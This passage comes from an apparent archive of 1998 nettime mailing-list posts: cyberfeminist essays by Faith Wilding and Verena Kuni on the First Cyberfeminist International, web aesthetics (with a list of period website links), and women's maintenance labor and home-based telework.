prepare the Hybrid Workspace, work\non various task-forces (text, press, technical, final party, etc.) and \norganize the public program for the day. There followed three hours of public \nlectures and presentations for Documenta audiences. Afterward the closed group\nmet again for dinner, and to discuss common issues such as the definition of \ncyberfeminism, group goals, future actions and plans. Work was divided \naccording to inclination and expertise; there was no duty list and no \nexpectation that everyone would work the same amount of hours. Space was \nopened up for conviviality, impulsive actions, brainstorming, and private \ntime. At all times connection of participants to the FACES list was maintained\nelectronically. Practically all group activities were video- and audiotaped \nand photographed. Many of the women brought their own computer equipment from \nhome and set it up in the open work/meeting space; and most of the lectures \nwere accompanied by projected images and readings from the lecturers' \nweb-sites. Two of the Russian women who were traveling to Kassel by a \ncircuitous, even illegal, route because of visa problems, faxed in their trip \ndiary all week as a performance, until they actually arrived. Another \nparticipant taught the group how to set up CU_SeeMe_ connection and continued \nto participate virtually after she had to leave. Thus there was an interesting\ninterplay between virtuality and flesh presence.  The face to face \ninteractions were experienced as much more intense and energizing than the \nvirtual communications, and forged different degrees of affinity between \nvarious individuals and sub-groups, while at the same time making all kinds of\ndifferences more palpable. Brainstorming and spontaneous actions seemed to \nspring more readily from the flesh meetings. The opportunity for immediate \nquestion and answer and extended discussion after delivery of the papers also \nenabled more intimate and searching interchanges than are usually possible \nthrough on-line text only communications. \n        There was a wide variety of content presented in the various lectures,\nweb projects, and workshops: Theories of the visibility of sexual difference \non the Net; a workshop on digital self-representations of online women in \navatars, databodies; analyses of gender representations, sex-sites, cybersex, \nand femporn; strategies of genderfusion and hybridity to combat stereotyping, \nessentialism, and sexist representations of women; a proposal for \nschizo-feminist embodiment; discussion of the fetishistic desire for \ninformation, and the paranoia created by the new technologies; a quiz on \nfamous women in history; studies of differences between women and men \nprogrammers and hackers; an examination of electronic art based on language \nrather than numbers; reports on the organization and nature of webgrrls lists,\nand much more (9). \n        The chief gains from the CI were trust, friendship, a deeper \nunderstanding and tolerance of differences, the ability to sustain discussions\nabout controversial and divisive issues without group rupture, mutual \neducation about issues of women and the e-media, as well as a clearer \nunderstanding of the territory for cyberfeminist intervention. Some \nparticipants felt that too much time and energy had gone into the public \nprograms at the expense of more in-depth closed group discussion. But there is\nmuch to be said for cyberfeminists being able to present their \nresearch-in-progress to each other in this kind of discursive and experimental\nformat. While the CI did not result in a formal list of goals, actions, and \nconcrete plans, there was general agreement on areas of further work and \nresearch. These include:\n Creating a list of cyberfeminist artists, theorists and speakers to be sent \nto media festivals, presenting institutions, museums, and other public venues.\n Creating and publishing cyberfeminist theory, net criticism, position papers,\nbibliographies, data bases, image banks.\n Creating a feminist search engine which could link cyberfeminist websites; \nfeminist lists, country by country reports of netactivity and \ncyberorganization for women.\n Creating coalitions with female technologists, programmers, scientists and \nhackers, to link feminist Net theory, content and practice with technological \nresearch and invention.  \n Cyberfeminist education projects (for both men and women) in technology, \nprogramming, and software and hardware design, which address traditional \ngender constructions and biases built into technology.\n A transnational cyberfeminist action alert site.\n Creating new avatars, databodies, new self (ves) representations which \ndisrupt and recode the gender biases usual in current commercially available \nones.\n Cyberfeminist meetings at all media festivals, activist conferences, \nexhibitions, and on other occasions whenever possible.  \n  \nConclusion\n\"(Cyber)Feminism is a browser through which to see life.\" (10)\nIf cyberfeminism has the desire to research, theorize, work practically, and \nmake visible how women (and non-women) worldwide are affected by new \ncommunications technologies, technoscience, and the masculinist, capitalist \ndominations  of the global communications networks, it must begin by \nformulating its political goals and positions clearly. Cyberfeminists have the\nchance to create new formulations of feminist theory and practice which \naddress the complex new social conditions created by global technologies. \nSubversive uses of the new communications technologies can facilitate the work\nof a transnational movement which aims to infiltrate and infect the networks \nof power and communication through activist, feminist, projects of solidarity,\neducation, freedom, vision, and resistance. To be effective in creating a \npoliticized feminist environment on the Net which challenges its present \ngender, race, age, and class structures, cyberfeminists need to draw on the \nresearches and strategies of avant garde feminist history and its critique of \ninstitutionalized patriarchy. In order to disrupt, resist, decode, and recode \nthe masculinist structures of the new technologies, the tough work of \ntechnical, theoretical, and political education has to begin. Cyberfeminists \nmust resist utopic and mythic constructions of the Net, and strive to work in \nactivist coalitions with other resistant netgroups. Cyberfeminists need to \ndeclare solidarity with transnational feminist and postcolonial initiatives, \nand work to use their access to communications technologies and electronic \nnetworks to support such initiatives.\n\nNotes  \nl. The 1st Cyberfeminist International met during the cyberfeminist workdays \nin the Hybrid Workspace at Documenta X in Kassel, September 20-28, l997.\n2. At Carnegie Mellon University, women students comprise about l0% of the \ncomputer science department.\n3. \"Cyberfeminism with a Difference\" Rosi Braidotti. \n[www.let.ruu.nl/womens_studies/rosi/cyberfem.htm]\n4. Sadie Plant, Zeros + Ones: Digital Women + the New Technocultures.  p. 37\n5.  Faith Wilding and CAE, \"Notes on the Political Condition of \nCyberfeminism.\"\n6. Donna Haraway, Modest_Witness.\n7. Using the term \"feminism\" is very different than using the term \n\"women\"--although perhaps one should consider using the term \"cyberwomanism\" \nwhich acknowledges the critique of racist white feminism so justly made by \nbell hooks and others.\n8. See for example the listings of l,000 feminist or women-related sites in \nShana Penn, The Women's Guide to The Wired World . New York: Feminist Press, \nl997.\n9. For more information and papers see [http://www.icf.de/obn]\n10. Alla Mitrofanova, CI lecture.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 6 Jan 1998 15:31:10 -0500",
                "to": "Blind.Copy.Receiver {AT} compuserve.com",
                "message-id": "199801061535_MC2&#45;2E44&#45;8381 {AT} compuserve.com",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9801/msg00009.html",
                "list": "nettime_l",
                "author_name": "Faith Wilding",
                "subject": "<nettime> Where is feminism in cyberfeminism"
            },
            {
                "content-type": "text/plai",
                "from": "aith Wilding <74447.2452 {AT} CompuServe.Com>",
                "id": "00064",
                "content": "\nNote: This is a considerably shortened version of Verena Kuni's text. For the \ncomplete version please see the OBN Cyberfeminist Reader,available from \nCornelia Sollfranck.\n\nThe Future is Femail\"\nSome Thoughts on the Aesthetics and Politics of Cyberfeminism\n\nBy Verena Kuni\n\nWhat intrigues me, is being alternative and completely conformist at the\nsame time.\"\nk.d. lang\n\n1. Preface\nThe following text reflects the attempt to reproduce a lecture I gave at\nThe First Cyberfeminist International in Kassel, in September l997. I have \nsince revised and added to this essay based on responses to presenting it to \ndifferent audiences. It is presented in very abbreviated form here.(The \nfull-length version of this paper was published in the Cyberfeminist Reader by\nOBN, ed. Cornelia Sollfrank).\n\nThis essay centers on visual representations of gender, and is especially \naddressed to artists (re-)presenting their work in the visual field of the \nWorld Wide Web who are concerned with this issue in their everyday practice.\n\n2. Future is Femail!\nNow, just to add an ad for Cyberfeminism--let us admit that...\nFuture is femail. This is a fact most men seem not to be capable of\naccepting - except in the case it is called Barbarella and has the body\nshape of Jane Fonda. \n\nOne of the issues of Cyberfeminism should be to question how to get even\nwith old-fashioned fantasies of that kind and to throw a pinch of sand\ninto the gears of cybernetic bachelor's machines (Junggesellenmaschinen),\nhow to finish off the damned sexist-machistic colonialisation of\nCyberspace...\n\n(Here I omit a long discussion of the development of the Internet within \nmasculinist structures; of Sadie Plants' and Donna Haraway's contributions to \nthe discussion of the relationships of women and technology; and a discussion \nof the definition of cyberfeminism.)\n \n3. A new subversive cyberfeminist energy takes effect wherever\nwomen artists work consciously with means of replication and simulation\nrather than referring to traditional strategies of representation. At\nthis point, it seems to be near at hand that electronic media - as they\nprincipally support different techniques of replication and simulation\n- should match a correspondent artistic practice perfectly.  Sounds like\ngood news for feminist artists working with new technologies: Is\nCyberfeminism just another name for a new born feminist avant-garde?\n\nAt this point it is important to ask ourselves about specific effects of new \nmedia technologies that might seriously interfere with the break with concepts\nof representation (as claimed by Sadie Plant). To answer this question in \nrelation to the aesthetics and politics of Cyberfeminism, the World Wide Web \nas an expanding field not only of feminist activities, but also of artistic \npractice seems to be an appropriate area to discuss.\n\n4. Label it! On Netchicks and PopTarts\nSimilar to the multitude of different notions and concepts of\nCyberfeminism discussed in the field of theory we can find a broad range\nof Cyberfeminist presence on the Web: from personal homepages to\nambitious zines, from webrings, jumping stations and networks to artistic\nprojects there is a growing number of sites provided by women that are\nnot only dealing with feminist issues, but also associate themselves\nexplicitly with the label  Cyberfeminist\".  But how can we distinguish\nbetween  feminist\" and  Cyberfeminist\" webwork? As I have already pointed\nout, regarding the discussions about the relations between Cyberfeminism\nand the so called  Old school feminism\" on one hand, and the continuing\ndisagreements between different feminist and Cyberfeminist positions on\nthe other hand, it does not make very much sense to define\nCyberfeminism as the sum of feminist activities. I would like to propose \nanother definition: Cyberfeminist practice as both a political and aesthetic \nstrategy - and, as a strategy working consciously with means of replication \nand simulation rather than referring to traditional strategies of \nrepresentation. But how far does this definition fit into a medium like the \nWorld Wide Web which is loaded with one of today's most common means of\nrepresentation: the image? Well, representation is not only built up on\nvisuals, and do not forget that basically the WWW is nothing\nbut a big hypertext. Unfortunately, this doesn't make things better at\nall.\n\nNet politics begin with the naming of a domain or a site - and in general\nthis will be a name that defines not only its geographic or physical\norigins, but also the contextual and ideal framework a project is\nsituated in. According to this, let us look at how feminist and\nCyberfeminist projects deal with this tool.  What can be noticed here\ngenerally is that on the one hand a majority of feminist as well as\nCyberfeminist sites refer to a spectrum of terms more or less explicitly\nassociated with femininity in respect to the female sex. On the other hand the\nway this term is related to the female sex seems to be a first\ncriterion to distinguish between feminist and cyberfeminst presence on\nthe Web. At first hand, this can be mentioned as an indication for the\nunease of a younger generation against concepts developed by an older one\nthat worked on a different basis not only considering the historic\nsituation and the socio-political context, but also considering the media\navailable to work with - and therefore leading not only to a different\nself understanding, but also to different strategies. As RosieX from the\nCyberFemZine  GeekGirl\" remarks, even the idea of a  movement\" itself  is\nbased on an older style feminist rhetoric which tended to homogenize all\nwomen with the same wants/needs/desires to embrace each other [...]. \n\nWhereas feminist projects tend to relate to terms like  woman\" or\nfemina\" or to go back to names grasped from the pool of history and\nmythology like  Ariadne\",  Elektra\" or  Sappho\" - thereby following\nsimilar concepts to many projects during the first and second wave of\nfeminist movement that tried to point out the need for consciousness\nabout a  female identity\",  herstory\" and so on - looking at projects\nassociating themselves with the concept of Cyberfeminism we can find a\nremarkable predilection for the use of a special slang I would like to\ndescribe as an ironic play with the so called toys for boys, recognizing\ntraditional notions of  female identity\" as already prestructured by the\nmale perceptions of  the female\". For example, there are quite a lot of\nnames using and sometimes also fusing the world of computer technology\nwith phrases normally used as vulgars for women, for female sexuality or\nfor ugly feminist, as in Clara Sinclairs  Netchicks Homepage\", Akke\nWagenaars  RadicalPlaygirls\", Crystal Tiles  Feminist Pop Tarts\", the\ngerman  Cyberweiber\" - and yes, we can even put the notion of\nCyberfeminism\" into this category. Another major part of the projects\nrefer in a similar way to the word  girl\" changing it into  grrl\" and\nthereby citing the Riotgrrl movement that emerged from the music scene\nduring the eighties and transferring it into cybersphere, as it is the\ncase in site-names like  PlanetGrrl\",  GeekGrrl\" and so on. Similar to\nthe Riotgrrl movement in music (or the Bad Grrls in contemporary fine\narts), this is also about the need to be part of a scene and at the same\ntime keep one's distance to the gender politics it is ruled by. As\nChrystal Tiles from the  Feminist Pop Tarts\" puts it:  A very practical\nreason grrrls/geeks/nerds use these codewords in titles or our site is to\nmake it clear that we're not naked and waiting for a hot chat with you! I\nmean, just do an infoseek search using the keyword 'girl' or 'woman' and\nsee what you find. Cybergirl.som (not to be confused with Cybergrrl!) s a\nnekkid-chick.gif site or something [...] Ever heard about the cliche\n'It's not a man's world, it's a boy's world'? Well, I think of girl,\ngeek, grrl, etc. as words women of whatever age can use to signify that\nwe refuse to play the circumscribed, no-win,\nlady/cutie/muffin/angel/whore/bitch game, and a way to fight back against\nthe boys will be boys and old boys stuff that is so subtle, yet so\npowerful in our society.\"\n\nFollowing this, it seems that within the  Name Space\"  of the World Wide\nWeb Cyberfeminist Grrlism is not only a means to create and to claim\nfree spaces\" for women in the net, but a strategy of masquerade as a tool\nto undermine dominating gender politics that keep control over the\nfemale data set\" (i. e. visual or linguistic objectifications of that\nwhich male netusers regard as  female\") as well.\nFurthermore this strategy is not only important for the\nnaming, but also for the visual design of Cyberfeminist web projects, as\nI will try to demonstrate in my sketch of an  iconology of Cyberfeminist\nwebdesign\" following below. By trying to find categories and common\ngrounds I do not intend to return to the problematic issue of a  female\",\nfeminine\" or  feminist aesthetic\". Rather, my purpose here is to describe\nCyberfeminism by the means of its aesthetical and political strategies -\nand thereby to develop perspectives on the representation of gender in\nthe visual field of World Word Web.\n\n5. Masquerades of the Cyborg\nRegarding the Web as a visual field and stating that Cyberfeminist\npolitics include the screendesign, we will have to take a closer look at\nthe constituting elements like the construction of a site, the use of\nlogos and frames as well as colours, background textures and so on.\nAt first let us ask what a Cyberfeminist website could look like. Is\nthere a possibility for an imaginary with a Cyberfeminist bent? For quite a \nlot of theorists in the field of Cyberfeminism the use of new technologies is\nmore or less closely associated with the desire to erect a new symbolic\norder in cyberspace that allows not only for imagining notions of\nidentity and sexuality beyond the binary code, but to incorporate them as \nwell.In this context, the figuration of the Cyborg as outlined by Donna\nHaraway plays an important role as a synthetic techno-flesh being that in\nitself already dissolves the gendered knot beween body and cultural\nidentity.\n\n\"The cyborg as imaginary figure and lived experience changes the notion of \nwhat at the end of the twentieth century is being understood as the experience\nof women\".\n\nAnother notion to discuss is the concept of hybridity, founded on the idea of \ndifference rather than of identity. Donna Horaway characterized her cyborg as \n\"an ardent adherent of partiality, irony, intimacy, and perversion.\" Following\nthat, we may conclude that the potential of a cyberfeminist figuration--any \npublic image, be it a logo, a corporate identity, or a screendesign--could be \nbased on a strategy of difference and hybridity. Or if we speak in terms of \nvisual representation (as Judith Halberstam proposes it in reference to Judith\nButler) as a strategy of masquerade that may be the only option to outline \ndifferent images and different visions of possible alliances of women and \ntechnology.\n\nComing back to our reflections about possible strategies for visual artists \nworking on and with the World Wide Web: Is it possible to understand \nmasquerade as a strategy of representation beyond representation, let's say: a\nrepresentation that at the same moment undermines traditional concepts of \nrepresentation by using techniques of replication and simulation, irony and \nparody? \n\nI would like to finish by looking at that what we could call\nthe current reality of Cyberfeminist practice on the World Wide Web,\nthereby trying to condense the results of my investigations in this field\ninto a short summary of what I call an iconological reflection\" of the \naesthetics and politics of Cyberfeminism. In so doing,I am proceeding from the\nassumption of the World Wide Web as a kind of graphic interface that can be \nunderstood as an arena of visual representation where aesthetics and politics \nare woven together inseparably.\n\n6. Blue Stockings and Tupperware Aesthetics\nLooking at the majority of websites devoted to feminist issues, in the\nfirst instance we will find a lot of them following what I already\ndescribed as the traditional practices of first and second wave feminist\nmovement. However plain and unpretentious the design of a site, there\nwill be at least the good old Venus' Mirror as a sign to show the\nproject's orientation, others will use the colour purple to design their\nletters, some even do not hesitate to use a floral patterns for their\nbackgrounds and frames. And of course there is the traditional way of\nlabeling, by calling the projects after  big names\" from  women's\nhistory\", be it mythological as  Artemis\",  Ariadne\",  Electra\", be it\nhistoric like the zine  Blue Stockings\" refering to suffragette's\nmovement or just simply by  naming the public\":  WWWomen\",  lesbian.org\"\nand so on. No doubt this politics of definition makes sense in a world\nwide business center, where you want to place and distribute your offers\nby using a clear concept for sales promotion - but thinking of\nCyberfeminist strategies as mentioned before we will still look for\nsomething different. Given the fact that there are lots of projects\ncalling themselves not  only\" feminist, but  Cyberfeminist\", this group\nwill be our field of research.\n\nIndeed, browsing through the variety of Cyberfeminist activities from\npersonal homepages to those run by groups and associations, from e-zines\nto artistic projects,there's no question that the range of webdesigns is\nbeing broadened significantly - but yet the impression will remain that in sum\nthere are common features as well, allowing us to continue our\nreflections about how Cyberfeminist aesthetics and Cyberfeminist politics\nmight correlate. And of course, we will also have to ask in this context,\nhow far the practice correlates with the strategies projected and\nclaimed in Cyberfeminist theory. For example, regarding the fact that\nrepresentations of femininity on the web are widely dominated by the male\ngaze (be it to sell pornography, be it to sell technology as toys for\nboys) it is no wonder this is also an issue for Cyberfeminist activities\nlonging for a practice of difference. But at the same time, we will have\nto bear in mind that working on this issue means to get into the complex\nof representation, body and gender politics where difference is always in\ndanger of being confused with and mistaken as  the other\", a perspective\nfrom which any visual notion of  women\" will be an image mirroring\ntraditional points of view.\n\nFirst of all, a really remarkable part of Cyberfeminist iconography\nrefers to an already existing pool of images of  strong\" and  liberated\"\nwomen, i. e. the cross-dressing vamps of the  roaring twenties\", the\nsuper-women known from comic strips like  Superwoman\",  Spiderwoman\" or\nHellcat\", the sexy biker bitches and supervixen pin ups invented by the\nsixties, up to the angry grrls of nowadays rriot grrl movement - in short\n: in the majority stereotypes of liberated women that still bear a lot\nof sex appeal as well. And regarding the webdesign itself, it is also\nremarkable that quite a lot of them - if not addicted to the current\nfashion of techno-pop imagery with brilliant colours and psychedelic\nbackground patterns - tend to prefer pastels to create a new  tupperware\naesthetics\". Even if the Cyberfeminist housewife no longer deals with\nhousehold technology only, the GeekGirl operator girl is no longer\nsurrounded with phones and wires, but with motherboards and chips, even\nif some of the SuperGrrls wear intellectual glasses and even if the  All\nmen must die!\"-homepage threatens the surfers with blood red weapons of\nall kind: In the end, all these images refer to a repertoire of one\ndimensional images of femininity - and we will have to consult them\ncarefully again and again to ask in what way the intended shifts and\nbreaks support a different notion of female identity and are appropriate\nto undermine rather than to confirm the traditional stereotypes of\ngender.\n\nAppendix: A Cyberfeminist iconology in short\n\n1  the colour purple: old fashioned confessions?\nVenus' mirror and the colour purple as we know them from the history of\nfeminist movement, name spaces with reference to godesses and heroines:\nconstituting elements for the feminist rather than the Cyberfeminist\ndesign...\n- Godesses wear the colour purple:  Electra\" and  Ariadne\"\nhttp://www.electrapages.com/\nhttp://www.onb.ac.at/ben/ariadfr.htm\n- Venus' mirrors all over: From  WOWWOmen\" to  Lesbian.Org\"\nhttp://www.wowwomen.com/\nhttp://www.womenz.net.au/\nhttp://www.ceiberweiber.com/home.htm\n http://www.lesbian.org/index.html\n- Images from the  roaring twenties\":  Isle of Lesbos\" and  Webgrrls\nDeutschland\"\nhttp://www.sappho.com/\n http://www.webgrrls.de/\n\n2. Here comes the next generation: gurls 'n' grrls...\n- Suzie Pop goes Techno:  gURL\" and  GeekGirl\"\nhttp://www.gurl.com/\n http://206.251.6.116/index.html\nhttp://206.251.6.116/geekgirl/010con/backish.html\n- picturebook Grrlisms:  Grll!\"\nhttp://www.grrl.com/Home.html or\nhttp://www.grrl.com/\n- Masks and masquerades:  Womyn & grrls\"\nhttp://exo.com/~emily/feminist.html\n\n3. Superwomen and the Like\n- CyberGrrl Classics: The Universe of  Planet Cybergrrl\"\nhttp://www.cybergrrl.com/\nhttp://www.cybergrrl.com/planet/\nhttp://www.webgrrls.com/\n- SuperGrrl with glasses:  GeekDashGirl\"\nhttp://www.geek-girl.com/\n- Manga Pop:  Spidergirl\"\nhttp://www.yo.rim.or.jp/~ari/\n\n4. Tupperware Aesthetics\n- Pin ups in pastel:  RiotGrrls\"\nhttp://www.riotgrrl.com/\n- Happy housewifes:  Die Hausfrauenseite\"\nhttp://www.hausfrauenseite.de/\n- Tupperware techno: Friendly Girls Guide\nhttp://www.youth.nsw.gov.au/rob.upload/friendly/index.html\n\n5. Tech Babes\n- Tech babes from  Metropolis\": f-e-mail\nhttp://www.arts.ucsb.edu/f-e-mail/\n- Do the Cyborg: Victoria Vesnas  Bodies inc.\"\nhttp://arts.ucsb.edu/~vesna/\nhttp://arts.ucsb.edu/bodiesinc/\n- Rather temperate: the real  Techbabes\"\nhttp://www.techbabes.com/\n\n6. Superfemmes\n- Belle Silhouette:  Amazon.City\"\nhttp://www.amazoncity.com/\n- LipstickFemmes:  SassyFemme\"  \nhttp://www.txdirect.net/~sassyfem/mainpage.html\n\n7. Wombs und Vaginae Dentatae\n- Entrance to the female space:  yOni Gateway\"\nhttp://www.yoni.com/\n- Heavy Metal Vagina Dentata:  Womb\"\nhttp://womb.wwdc.com/\n\n8. Men haters und Bad Bitches\n- Hot hearts cold as ice:  Heartless Bitches\"\nhttp://www.heartless-bitches.com/\n- Even more bloody:  All Men Must Die!\"\nhttp://www.kfs.org/~kashka/ammd.html\n\n9. Ambitious bitches and disgusting girls\n- Marita Liaula:  Ambitious Bitch\"\nhttp://www.edita.fi/kustannus/bitch/index.html\nhttp://www.edita.fi/kustannus/bitch/destdive.html\n- Mare Tralla:  Disgusting Girl\"\nhttp://www.artun.ee/homepages/mare/kmm.html\nhttp://www.wmin.ac.uk/~ghmlc/mina.htm\n\n10. Cyberfeminist Spaces and Bodily Architectures\n- Cyberfeminist Universe:  VNS Matrix\"\nhttp://sysx.apana.org.au/artists/vns/\nhttp://sysx.apana.org.au/artists/vns/manifesto.html\nhttp://sysx.apana.org.au/artists/vns/spiral.html\nhttp://sysx.apana.org.au/artists/vns/themepark.html\nhttp://sysx.apana.org.au/artists/vns/game.html\nhttp://sysx.apana.org.au/artists/vns/gashgirl/\nhttp://sysx.apana.org.au/~gashgirl/doll/dollyoko.html\nhttp://sysx.apana.org.au/~gashgirl/doll/yukiko.htm\n- Enter via Hymen:  Womenhouse\"\nhttp://www.cmp.ucr.edu/womenhouse/\nhttp://www.c\n\n\n\n-----End of forwarded message-----\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Fri, 18 Sep 1998 11:53:05 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809181734.SAA15687 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00064.html",
                "list": "nettime_l",
                "author_name": "Faith Wilding",
                "subject": "<nettime> The Future is Femail"
            },
            {
                "content-type": "text/plai",
                "from": "aith Wilding <74447.2452 {AT} CompuServe.Com>",
                "id": "00021",
                "content": "\nDuration Performance: The Economy of Feminized Maintenance Work\n\nFaith Wilding\n\n[Performer dressed in a maid's uniform and apron sits at a computer console \ntyping these words:] \nThis is a story about invisible hands.\nThis is a story about endless work.\nThis is a story about women's work of maintenance and survival.\nThis is a story about the laboring female body in the invisible feminine \neconomy of production and reproduction.\nThis is a story about repetition, boredom, exhaustion, stress, crashes.\nThis is a story about tedious, repetitive, straining, manual labor harnessed \nto the speed of electronic machines.\n[During the narration, the following loop is projected on a video screen:]\nclean, wash, dust, wring, iron, sweep, cook, shop, phone, drive, clean, iron,\nenter, mix, drive, delete, clean, purge, wash, merge, edit, shop, fold, phone,\nfile, select, copy, curse, cut, sweep, paste, insert, format, iron, program, \ntype, assemble, cook, email, fax, cry, forward, sort, type, click, dust, \nclean, etc.\n\n1.Feminist Maintenance Art: In recent decades, the mass deployment of\nelectronic technology in offices and workplaces has profoundly changed the\nstructure of work, and the relationship of home and work life in ways that\nare having particularly disturbing effects on women.  In the US, women who\nhave largely been concentrated in the lower echelons of the labor\nmarket--such as clerical work, the garment industries, manufacturing and\nservice jobs--are increasingly being thrown out of waged labor and forced\ninto part time privatized telework, home-based piece work, and service\nlabor. This situation is once again confining many women to the private\nsphere of the home where they perform double maintenance labor: that of\ntaking care of the family, and that of working in the global consumer\neconomy. Made possible by automated Information Technology (IT), and\ncontrolled by mobile capital, it is a market economy based on just-in-time\nproduction and distribution strategies that speed up and control the pace\nof work and life. \n\nThe global disappearance of secure salaried and waged jobs does not mean\nthe end of hard labor or tedious, repetitive, manual maintenance work.\nWorldwide, much of the rote maintenance work of keyboarding, data entry,\nelectronic parts assembly, and service labor is still done manually,\npredominantly by women.  But the spread of automated machinery into the\nworkplace and the hidden nature of homework and telework is contributing\nto making women's work and women's laboring bodies invisible again. \n \nIn the 1970s feminist performance artists developed work which made\nvisible women's laboring bodies and their daily maintenance work--the\nrepetitive, endless, unpaid work that sustains and makes possible the\ndaily lives of individuals, families, and institutions. The feminist\nduration maintenance performance--the actual performance of a domestic\ntask such as ironing a sheet, scrubbing a floor, etc. lasted as long as\nthe real-life task--thus compelling the audience to experience the\nreal-time tedium of women's maintenance work.Feminist maintenance and\nduration performances were a strategy to make women's labor visible, and\nto foreground issues of working conditions, the gender division of labor,\nunpaid labor, and agency in women's domestic work and lives. \n\nRecently, cyberfeminists have begun to meet, both face to face and\nelectronically, to discuss ways of analyzing, revealing, and transforming\nwomen's current relationship to IT, as well as how to intervene in the\nreplication of traditional gender structures in electronic culture. I will\ndiscuss some ways in which these concerns relate to women's changing labor\nconditions worldwide; and also suggest how the 70's strategies for making\nmaintenance labor visible could be adapted by cyberfeminist artists and\nactivists today. \n        \n[Performer returns to console and types. Her typing is projected on the\nscreen.]\n By the early 1980s, women in the US were 43% of the paid labor force. And\n43% of all paid employed women were clerical workers. In the US, women\nwere: 80% of all clerical workers 97% of all typists 99% of all\nsecretaries 94% of bank tellers 97% of receptionists A MAJORITY OF THESE\nJOBS WILL BE/ ARE DISAPPEARING In the US women currently are: 31% of\ncomputer programmers 29% of computer systems analysts 16% of executive\nmanagers 92% of data entry operators 58% of production operators 77% of\nelectronic assemblers THESE STATISTICS ARE NOT CHANGING FAST. Black women\nin the US are: 3% of corporate officers 14% have work disabilities 59% of\nall single mothers. HOW MANY OF THESE JOBS WILL DISAPPEAR? At home all\nwomen are: 66% married working mothers 100% of mothers 99% of childcare\nworkers 99% primary caregivers to the aged 83% of unpaid household workers\n99% of domestic caretakers 99% of physical, emotional, and psychic human\ncapital maintenance workers. IN THE ELECTRONIC HOME WILL MOTHERS BECOME\nOBSOLETE? IN THE ELECTRONIC WORKPLACE WILL WOMEN BECOME OBSOLETE? \n\n  \n2. The Political Conditions of Homebased Telework\n(Note: Many of the particulars of this lecture refer to conditions in the US, \nbut they are also applicable to many Western European countries, Canada, and \nAustralia.)\n\nRecently, cyberfeminist theorists, activists, and artists have been\naddressing the role of women in the history of computer development, and\nthe contemporary gender constructions embedded in the new technologies. In\n\"The Future Looms,\"  cyberfeminist Sadie Plant exemplifies some of the\nmore wildly utopian claims that have been made for women in technology:\n\"After the war games of the l940s, women and machines escape the simple\nservice of man to program their own designs and organize themselves;\nleaking from the reciprocal isolations of home and office, they melt their\nnetworks together in the l990s.\" (2) This free mythical realm--neither\nhome nor workplace--presumably is cyberspace, which is imagined as a brave\nnew world for women. Would it were so! But alas, research reveals a far\nmore complex situation for most women who work in the high tech\nindustries. Here I will briefly summarize the political and economic\nconditions of contemporary female office and home-based teleworkers, and\nthe regressive effects on women's roles in the home (and of the home in\nthe market economy) caused by the displacement of large numbers of\nemployed women who have been forced back into the \"informal\" (part-time\nand home work) labor economy by the global restructuring of work. \n\nWhen large numbers of [mostly white and middle-class] women first started\nentering the waged labor market, their traditional gender roles of\nmaintenance and service were easily translated into the division of labor\nin offices, banks, and many other work places.  Beginning in the late\nl890s women increasingly became the majority of copyclerks, typists,\ncalculators, stenographers, switchboard operators, bookkeepers, clerical\nworkers, filing clerks, bank tellers, keypunchers, and data enterers. When\nautomated office technology was introduced in the 70s, women also became\nthe majority of computer users in offices and work-places. Because such a\nhigh percentage of employed women (43%) are clerical workers, it is\nimportant to study the effects of the deployment of information technology\non clerical work.  Researchers have noted the differences in how women and\nmen use computers:  \"women seemed to have acquired computer skills that\nleave them doing very different jobs than men who use computers.\" (3)\nThese skills tend to be the rote entry, filing, and maintenance of data,\ndone in isolation in front of a terminal. No particular new skills or\nknowledge are needed for this work, and most companies never invest the\nmoney to train women clerical workers in more advanced computer techniques\nthat would give them a chance to climb the internal company job ladders.\nThey are condemned both to mental and physical repetitive stress syndromes\nto such a degree that the turnover in clerical workers is almost 100% in\nmany offices. \n\nIn the 1990s many of these clerical jobs are being replaced by automated\ncomputers and networks of robotic machines. Secretaries and clerical\nworkers are the first casualties of the electronic office. Lacking\nadvanced skills and knowledge capital, these displaced women workers often\nhave no other choice than to resort to low-skilled part time work, or\nhome-based telework. Such \"home-work\" includes different kinds of work\nranging from professional telecommuting, entrepreneurial businesses,\nsalaried employment, and self-employed freelance work, to (often illegal)\ngarment and needle industries, electronic parts assembly, and clerical\ncomputer work. While for some upper-echelon female white collar workers\nand professionals telecommuting has become part of their job and enhances\ntheir value as employees, for the great majority of other casualties of\nelectronic joblessness, the forced \"choice\" of home work is a big step\ndown--measured in terms of wages, benefits, and working conditions--even\nfrom clerical work in an office, and usually amounts to nothing short of\nthe enslaved maintenance work that keeps global capital's production lines\nand data-banks speeding along.  Opportunities are especially bad for women\nof color and immigrants, who tend to be concentrated in jobs with the\nlowest level of skills most affected by office automation. \n\nThe political conditions of office and homework in the 90s are\nrestructuring home and work life in crucial ways, and are producing a\nworldwide labor crisis. \n\nHome work is feminized labor:   \n\nFeminized home work is a structural feature of the contemporary US\ntelework, data-entry, and service economies, as well as an aspect of the\nglobal sweatshop economy (which includes all kinds of assembly work), and\nthe computer chip and electronic parts manufacturing industry. \"To be\nfeminized means to be made extremely vulnerable; able to be disassembled,\nreassembled, exploited as a reserve labor force; seen less as workers than\nas servers;  subjected to time arrangements on and off the paid job that\nmake a mockery of a limited work day; leading an existence that always\nborders on being obscene, out of place, and reducible to sex.\"(4) Work is\nrestructured in a way that downgrades and feminizes professional work, and\nin turn lowers the pay level and satisfaction of the job.  Ironically,\nmuch of the automated technology was designed to replace the rote\nmaintenance labor--mostly performed by women--in offices and factories,\nand the resultant displacement of women from the public workplace, and the\nrenewed invisibility of their work, has had the effect of devaluing\nwomen's labor and home-making services even more, both financially and\nemotionally. \n\nHome work sustains the gendered division of labor:\n\nIt is hardly news that home-based work in industrialized nations has\nhistorically been extremely exploitive. The global restructuring of work\nmanifests locally, and home work usefully demonstrates \"problems 